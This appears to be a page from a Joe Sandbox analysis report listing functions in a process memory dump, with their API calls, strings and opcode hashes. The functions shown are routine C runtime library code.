Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 5d30feb95a5c1a0a40ae931941b2a97de51d7494df1646863e40e35b2e585f71
Instruction ID: f318e012d43bb99a512f4df76be8f6619b1326af3b628013e632017dbc91132d
Opcode Fuzzy Hash: 5d30feb95a5c1a0a40ae931941b2a97de51d7494df1646863e40e35b2e585f71
Instruction Fuzzy Hash: 1E71D672904205ABDF219F9C8C45BAE7BBAEF4B310F194655F909A7281E7B6CC00C772

Function 00D954C5 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 00D9550C
__alloca_probe_16.LIBCMT ref: 00D95538
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 00D95577
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00D95594
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00D955D3
__alloca_probe_16.LIBCMT ref: 00D955F0
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00D95632
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00D95655

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 9eb6b091062c5bc6f62075649aaae10cfa16b73e43f3a6e31e8fbf9530ba94c1
Instruction ID: e9c991ee5b91f2adadf090b7ee72f34a64335a079fd9831a9afc052238ef6ec3
Opcode Fuzzy Hash: 9eb6b091062c5bc6f62075649aaae10cfa16b73e43f3a6e31e8fbf9530ba94c1
Instruction Fuzzy Hash: 6A51BE72600606EFEF229F64EC45FAA7BA9EF40750F694539F905E6198DB30CD109BB0

Function 00D961E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00D96217
___except_validate_context_record.LIBVCRUNTIME ref: 00D9621F
_ValidateLocalCookies.LIBCMT ref: 00D962A8
__IsNonwritableInCurrentImage.LIBCMT ref: 00D962D3
_ValidateLocalCookies.LIBCMT ref: 00D96328

Strings

csm, xrefs: 00D962BD

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 92d8e712b207ed14d847b18cd667db5df8b1a6c3b4ae2ded133375c7df567ebd
Instruction ID: c586d583ab1745bfa2c67831caf1dc632cbfd5b4b9e163b4f55711c97a1f8de4
Opcode Fuzzy Hash: 92d8e712b207ed14d847b18cd667db5df8b1a6c3b4ae2ded133375c7df567ebd
Instruction Fuzzy Hash: 0641B330A00218EFCF11DF68C885A9E7BB5EF45324F188555F818AB392DB31EA05CBB5

Function 00D9F469 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00D9F578,00D9186A,?,00000000,00D931E1,00D9186C,?,00D9F1F6,00000022,FlsSetValue,00DADFE0,00DADFE8,00D931E1), ref: 00D9F52A

Strings

ext-ms-, xrefs: 00D9F4D4
api-ms-, xrefs: 00D9F4C0

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 1dd367d89e3e6350d866c839d3ccc07e7f668757508970b73dcf89ce3d598cf0
Instruction ID: 11c2d0f8adb64f55925134126cdcd4decf98e5d24d17778de694e68c9dee4e7c
Opcode Fuzzy Hash: 1dd367d89e3e6350d866c839d3ccc07e7f668757508970b73dcf89ce3d598cf0
Instruction Fuzzy Hash: 06218176A41311EBCF229B64EC44A5A7768DB41764B294620F956E7390E670EE00D6F0

Function 00DA625D Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9a8e5b7324781a31f8335fb7d0f9bdaf487f02e221d6432d5d054ad7169de58
Instruction ID: 2dffe5bfd174066dc8afa8ab0b9a737d6bc84a809761f61d85d2cc424a526569
Opcode Fuzzy Hash: e9a8e5b7324781a31f8335fb7d0f9bdaf487f02e221d6432d5d054ad7169de58
Instruction Fuzzy Hash: 01B1BA71E04244EBDF119FA8D890BAEBBB1EF4A310F1C4259E5419B296C7B0D9418BB1

Function 00D9D2C0 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00D9D2B7,00D95FB7,00D95179), ref: 00D9D2CE
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00D9D2DC
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00D9D2F5
SetLastError.KERNEL32(00000000,00D9D2B7,00D95FB7,00D95179), ref: 00D9D347

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: bac457c1d0357e43d4fd7ae8762c2000ad9b1ee127a26699745eeb32f5bafc45
Instruction ID: ec115a08063d6267eeeacb580e6643f29f2181582ee05f5d62edd4d344eaa71a
Opcode Fuzzy Hash: bac457c1d0357e43d4fd7ae8762c2000ad9b1ee127a26699745eeb32f5bafc45
Instruction Fuzzy Hash: EC01FC3210E712DEAF2627747CC5A6F3645EB027757240329F110D52E5EF514D0597B1

Function 00D9DB88 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00D9DCA7
CallUnexpected.LIBVCRUNTIME ref: 00D9DF20

Strings

csm, xrefs: 00D9DCDE
csm, xrefs: 00D9DBC5
csm, xrefs: 00D9DC32

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 4b58dc205da27564a77d08291fec016d976937d135400b06f74ae3c4050395a1
Instruction ID: 542dc2b2f14e83631d802ee2e10cbf9d06177afe852f3b70b893bc5096a1e876
Opcode Fuzzy Hash: 4b58dc205da27564a77d08291fec016d976937d135400b06f74ae3c4050395a1
Instruction Fuzzy Hash: 53B19C71800209EFCF25EFA4D9819AEBBB6FF18310F18415AF8116B206D775EA51CBB1

Function 00D98C55 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,D54F2704,?,?,00000000,00DAB774,000000FF,?,00D98D16,00D98BFD,?,00D98DB2,00000000), ref: 00D98C8A
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00D98C9C
FreeLibrary.KERNEL32(00000000,?,?,00000000,00DAB774,000000FF,?,00D98D16,00D98BFD,?,00D98DB2,00000000), ref: 00D98CBE

Strings

CorExitProcess, xrefs: 00D98C94
mscoree.dll, xrefs: 00D98C83

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 7efbb5db28a844a7b10248094a0365a1f19e8520dad58414b8dc48bf2822ecce
Instruction ID: df86e29faa85f9ca73dfc34fc5d41ebbcbbcdd9a9812470cf00676be981bcef5
Opcode Fuzzy Hash: 7efbb5db28a844a7b10248094a0365a1f19e8520dad58414b8dc48bf2822ecce
Instruction Fuzzy Hash: B3018F32A41715EFCF118B54CC09BAEBBB8FB45B10F040625E812E22D0DBB49900DAB0

Function 00D9FC3D Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00D9FCC2
__alloca_probe_16.LIBCMT ref: 00D9FD8B
__freea.LIBCMT ref: 00D9FDF2

Part of subcall function 00D9E531: RtlAllocateHeap.NTDLL(00000000,00D931E1,00D9186A,?,00D960C1,00D9186C,00D9186A,?,?,?,00D93181,00D931E1,00D9186E,00D9186A,00D9186A,00D9186A), ref: 00D9E563

__freea.LIBCMT ref: 00D9FE05
__freea.LIBCMT ref: 00D9FE12

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 558103eddf99ae047a191891c2ab816e76171c6e72c878697e75a8e9df9ab694
Instruction ID: 48b74b58ffaf5e7b786c6ca65898b5682caf9c0b4e79585720a87ef705a37c50
Opcode Fuzzy Hash: 558103eddf99ae047a191891c2ab816e76171c6e72c878697e75a8e9df9ab694
Instruction Fuzzy Hash: 8A51B272604206AFEF219F619C81EBB7BA9EF44710B2D4538FD04D7122EB31CC6086B0

Function 00D93010 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D93017
std::_Lockit::_Lockit.LIBCPMT ref: 00D93022
std::_Lockit::~_Lockit.LIBCPMT ref: 00D93090

Part of subcall function 00D92EE4: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00D92EFC

std::locale::_Setgloballocale.LIBCPMT ref: 00D9303D
_Yarn.LIBCPMT ref: 00D93053

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: eb676b36f89be2a2c8bcbf548a9f869d8596a0f2bbb1981ab67d3e387bf90231
Instruction ID: 2f9445e315849c6cb2bc111873a6527773f4c7f0aae9f942a2ca3534fdb763a2
Opcode Fuzzy Hash: eb676b36f89be2a2c8bcbf548a9f869d8596a0f2bbb1981ab67d3e387bf90231
Instruction Fuzzy Hash: B3017CB5A00610EBCF16EF60E88557D7BA1FF84350B184109E81297391CF35AE02DBB1

Function 00DA7E92 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00DA7F2E,00000000,?,00DB6E10,?,?,?,00DA7E65,00000004,InitializeCriticalSectionEx,00DAE57C,00DAE584), ref: 00DA7E9F
GetLastError.KERNEL32(?,00DA7F2E,00000000,?,00DB6E10,?,?,?,00DA7E65,00000004,InitializeCriticalSectionEx,00DAE57C,00DAE584,00000000,?,00D9E1DC), ref: 00DA7EA9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00DA7ED1

Strings

api-ms-, xrefs: 00DA7EB6

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 966093eace4cdd8869cff75a437db8690054ff22cadb6d225d68992fbc8b5f7f
Instruction ID: 850020eba7f51e621acb16e0acec77135bece02755caa52623db343672d285a1
Opcode Fuzzy Hash: 966093eace4cdd8869cff75a437db8690054ff22cadb6d225d68992fbc8b5f7f
Instruction Fuzzy Hash: B4E04831284309FBEF101B60DC06B597B59DB11B51F144060F90DF85E1E771EE50A6F4

Function 00DA562D Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(D54F2704,00000000,00000000,?), ref: 00DA5690

Part of subcall function 00D9E641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00D9FDE8,?,00000000,-00000008), ref: 00D9E6A2

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00DA58E2
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00DA5928
GetLastError.KERNEL32 ref: 00DA59CB

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: bde30fbed5e78d264721e93a29945bb6a53acffd53f0d205d062eb5f87aee5e9
Instruction ID: d188adcfe42935ad8d4aca2f7017e83aee400365b1d655d389b3dde31a7aa15b
Opcode Fuzzy Hash: bde30fbed5e78d264721e93a29945bb6a53acffd53f0d205d062eb5f87aee5e9
Instruction Fuzzy Hash: 22D15975D04648DFCF15CFA8E8809AEBBB9FF0A310F28456AE456EB355D630A941CF60

Function 00D9D8AF Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00D9D976
___AdjustPointer.LIBCMT ref: 00D9D999
___AdjustPointer.LIBCMT ref: 00D9DA35

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 74fcd919893de4488af59598964df1654c761b519eb2dc63cc83a711d707a320
Instruction ID: 7b743afd5cef2b6a333a84733aff3be990cc54cbea73287647ea48e1b73a2d04
Opcode Fuzzy Hash: 74fcd919893de4488af59598964df1654c761b519eb2dc63cc83a711d707a320
Instruction Fuzzy Hash: 7851EE76605602BFDF29AF50D845BBAB7B6EF15310F28412DE8469B291E731ED40CBB0

Function 00DA3537 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00D9E641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00D9FDE8,?,00000000,-00000008), ref: 00D9E6A2

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00DA359B
__dosmaperr.LIBCMT ref: 00DA35A2
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00DA35DC
__dosmaperr.LIBCMT ref: 00DA35E3

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 29a3e421c98e93e87d895a0e3a79c4aa7f74031ecd25c8bb4aa91b34994d1488
Instruction ID: fbd97174dac727df6435932dabf7a4a67879270219471b5857f1e44c0d0c0e5d
Opcode Fuzzy Hash: 29a3e421c98e93e87d895a0e3a79c4aa7f74031ecd25c8bb4aa91b34994d1488
Instruction Fuzzy Hash: D721D771A05705AFDF20AF6D984182ABBAAFF423647044519F86587601EB30EF009BB1

Function 00D98042 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92b1b0013eeba220840f9d29028ff0f7df398490723d5963fe2aa363fdc1752b
Instruction ID: 88b60f8432ceabacaa32422f5f8f96e36455df98095e4e255eb2d7a36f8826ac
Opcode Fuzzy Hash: 92b1b0013eeba220840f9d29028ff0f7df398490723d5963fe2aa363fdc1752b
Instruction Fuzzy Hash: 2421A232204705AFDF20AF65CC8196B77A9FF427647144529F869D7251EF31EC40A7B1

Function 00DA484F Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00DA4857

Part of subcall function 00D9E641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00D9FDE8,?,00000000,-00000008), ref: 00D9E6A2

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00DA488F
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00DA48AF

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
